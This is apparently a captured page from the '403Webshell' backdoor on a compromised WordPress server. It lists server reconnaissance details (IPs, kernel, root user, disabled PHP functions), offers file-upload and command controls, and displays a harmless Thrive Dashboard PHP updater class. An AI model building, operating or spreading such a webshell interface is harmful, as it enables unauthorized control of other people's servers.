403Webshell
Server IP : 65.109.86.83  /  Your IP : 37.27.51.148
Web Server : nginx/1.14.1
System : Linux libra 4.18.0-553.51.1.el8_10.x86_64 #1 SMP Wed Apr 30 20:24:04 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.3.31
Disable Function : exec,passthru,shell_exec,system,proc_open,popen,parse_ini_file,show_source
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/html/wp-content/plugins/thrive-comments/thrive-dashboard/inc/db-updater/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/wp-content/plugins/thrive-comments/thrive-dashboard/inc/db-updater/class-updater.php
<?php

namespace TD\DB_Updater;

/**
 * Thrive Themes - https://thrivethemes.com
 *
 * @package thrive-dashboard
 */
if ( ! defined( 'ABSPATH' ) ) {
	exit; // Silence is golden!
}


abstract class Updater {
	protected $product = 'Thrive Dashboard';

	public function get_total_steps() {
		return 1;
	}

	public function output_welcome_message() {
		echo "<h4>The database tables for {$this->product} need updating. Click the button below to start the process.</h4>"; // phpcs:ignore
	}

	public function get_dashboard_url() {
		return '';
	}

	/**
	 * Main entry point for the ajax "step" request
	 */
	public function ajax_handler() {
		if ( empty( $_REQUEST['step'] ) ) {
			$response = array(
				'error' => 'Invalid step',
			);
		} else {
			$response = (array) $this->execute_step( sanitize_text_field( $_REQUEST['step'] ) );
		}

		wp_send_json( $response );
	}

	public function get_product_name() {
		return $this->product;
	}

	abstract public function execute_step( $step );
}

Youez - 2016 - github.com/yon3zu
LinuXploit